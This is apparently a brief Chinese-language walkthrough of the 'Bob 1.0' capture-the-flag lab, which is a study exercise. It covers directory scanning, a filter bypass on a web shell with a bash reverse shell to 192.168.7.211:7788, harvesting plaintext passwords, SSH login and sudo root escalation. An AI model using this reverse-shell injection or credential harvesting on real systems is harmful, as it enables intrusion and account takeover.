Bob1.0

一、主机发现

二、信息收集

1.目录扫描

dirsearch -u 192.168.7.141

1)访问/robots.txt

2）访问/dev_shell.php

3）执行执行whoami | ls，发现备份文件

直接访问下载

http://192.168.7.141/dev_shell.php.bak

有过滤

三、利用

在浏览器执行反弹语句

whoami | pwd&echo "bash -i >& /dev/tcp/192.168.7.211/7788 0>&1" | bash

在攻击机开启监听

这里显示延迟就证明被监听了

kali监听成功

四、提权

1.查看文件

cd /home 
ls
cd bob
ls -al

jc:Qwerty
seb:T1tanium_Pa$$word_Hack3rs_Fear_M3

查看Documents目录

cd Documents
ls

/home/bob/Documents/Secret/Keep_Out/Not_Porn/No_Lookie_In_Here 下，发现了 notes.sh

查看，藏头诗密码为 HARPOCRATES

2.ssh登录

ssh jc@192.168.111.142 -p 25468
Qwerty

3.拿到bob密码

4.到elliot

找到文件

查看，密码

5.切换bob：b0bcat_

连接成功，，输入sudo -l，全都可以执行

输入sudo su提权成功